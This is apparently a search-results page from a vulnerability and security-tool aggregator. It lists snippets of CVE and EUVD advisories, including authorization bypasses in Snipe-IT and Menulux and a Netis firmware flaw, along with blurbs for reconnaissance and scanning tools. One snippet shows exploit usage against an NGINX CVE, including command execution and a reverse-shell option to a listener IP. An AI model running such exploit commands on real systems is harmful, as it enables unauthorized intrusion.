260682 matches found
CVE-2026-73673
CVE-2026-73673: Неаутентифицированное обновление прошивки Netis NC63 с отсутствующей криптографической аутентификацией прошивки Оригинальное исследование уязвимости выполнено Özcan Ersan @ozcanpng. Этот репозиторий документирует CVE-2026-73673, обнаруженную и раскрытую автором. Недеструктивный...
CVE-2026-19043
CVE-2026-19043 is a Missing Authorization (ACL bypass) vulnerability in Menulux Portal by Menulux Software Inc. , affecting the critical POS management functions where access is not properly constrained by access control lists. This allows an authenticated low-privilege user to access functionali...
EUVD-2026-71038
Missing Authorization vulnerability in Menulux Software Inc. Menulux Portal allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Menulux Portal: before 20260903211448...
CVE-2026-19043 Authorization Bypass Critical POS Management Functions in Menulux Software's Menulux Portal
Missing Authorization vulnerability in Menulux Software Inc. Menulux Portal allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Menulux Portal: before 20260903211448...
CVE-2026-19043 Authorization Bypass Critical POS Management Functions in Menulux Software's Menulux Portal
Missing Authorization vulnerability in Menulux Software Inc. Menulux Portal allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Menulux Portal: before 20260903211448...
pdf.js-CVE-2024-4367
🚨 CVE-2024-4367 - Scanner universel de vulnérabilité PDF.js ⚠️ OUTIL DE SÉCURITÉ CRITIQUE | Détecte CVE-2024-4367 CVSS 9.8 - Vulnérabilité d'exécution de code à distance PDF.js Fonctionne sur TOUT site web - Aucune configuration requise 📋 Table des matières 📖 Aperçu ⚡ Démarrage rapide 🔍 Ce qu'il...
meg
meg meg is a tool for fetching lots of URLs but still being 'nice' to servers. It can be used to fetch many paths for many hosts; fetching one path for all hosts before moving on to the next path and repeating. You get lots of results quickly, but non of the individual hosts get flooded with...
psudohash
psudohash Cool New Features of v1.1.0 Special thanks to DavidAngelos: ▶️ Added a progress bar in every step to track execution. ▶️ Added options: In-order joins -i / --inorder: join keywords only in the original order e.g. foo,bar,baz → foo, bar, baz, foobar, foobaz, barbaz, foobarbaz. All-order...
CVE-2026-42945-NGINX-Rift
CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...
kiterunner
Kiterunner Introduction For the longest of times, content discovery has been focused on finding files and folders. While this approach is effective for legacy web servers that host static files or respond with 3xx’s upon a partial path, it is no longer effective for modern web applications,...
CVE-2019-5418-Scanner
CVE-2019-5418-Scanner 멀티스레드 Golang 스캐너로, CVE-2019-5418에 취약한 Ruby 엔드포인트를 식별합니다. 사용법 root@kitploit: Usage of ./CVE-2019-5418-Scanner: -auth string Perform a scan using a auth token i.e Basic YmFzZTY0VG9rZW5WYWx1ZQ== default "nope" -http Use HTTP over HTTPS -insecure Ignore SSL/TLS Errors -log Log...
CVE-2026-85617 snipe-it before 8.6.3 Authorization Bypass via Bulk Delete
snipe-it versions before 8.6.3 contain an authorization bypass vulnerability in the bulk delete functionality that allows restricted users to soft-delete users outside their authorized scope. Attackers can include unauthorized user IDs in bulk delete requests to bypass instance-level restrictions...
CVE-2026-85617 snipe-it before 8.6.3 Authorization Bypass via Bulk Delete
snipe-it versions before 8.6.3 contain an authorization bypass vulnerability in the bulk delete functionality that allows restricted users to soft-delete users outside their authorized scope. Attackers can include unauthorized user IDs in bulk delete requests to bypass instance-level restrictions...
EUVD-2026-71036
snipe-it versions before 8.6.3 contain an authorization bypass vulnerability in the bulk delete functionality that allows restricted users to soft-delete users outside their authorized scope. Attackers can include unauthorized user IDs in bulk delete requests to bypass instance-level restrictions...
CVE-2026-85617
snipe-it versions before 8.6.3 contain an authorization bypass in the bulk delete functionality. Restricted users can include unauthorized user IDs in bulk delete requests to bypass instance-level restrictions, allowing them to soft-delete users outside their authorized scope or modify/disable ac...
CVE-2026-85616 Snipe-IT before 8.6.2 Authorization Bypass via Checkout-Acceptance
Snipe-IT versions before 8.6.2 contain an authorization bypass vulnerability in checkout-acceptance report actions when Full Multiple Company Support is enabled. Authenticated users with reports.view permission can enumerate sequential acceptance IDs and soft-delete or trigger reminder emails for...
CVE-2026-85616
Snipe-IT versions before 8.6.2 contain an authorization bypass in checkout-acceptance report actions when Full Multiple Company Support is enabled. An authenticated user with the reports.view permission can exploit a null check on the legacy users.company_id column to enumerate sequential accepta...
CVE-2026-85616 Snipe-IT before 8.6.2 Authorization Bypass via Checkout-Acceptance
Snipe-IT versions before 8.6.2 contain an authorization bypass vulnerability in checkout-acceptance report actions when Full Multiple Company Support is enabled. Authenticated users with reports.view permission can enumerate sequential acceptance IDs and soft-delete or trigger reminder emails for...
EUVD-2026-71035
Snipe-IT versions before 8.6.2 contain an authorization bypass vulnerability in checkout-acceptance report actions when Full Multiple Company Support is enabled. Authenticated users with reports.view permission can enumerate sequential acceptance IDs and soft-delete or trigger reminder emails for...
CVE-2026-85616 Snipe-IT before 8.6.2 Authorization Bypass via Checkout-Acceptance
Snipe-IT versions before 8.6.2 contain an authorization bypass vulnerability in checkout-acceptance report actions when Full Multiple Company Support is enabled. Authenticated users with reports.view permission can enumerate sequential acceptance IDs and soft-delete or trigger reminder emails for...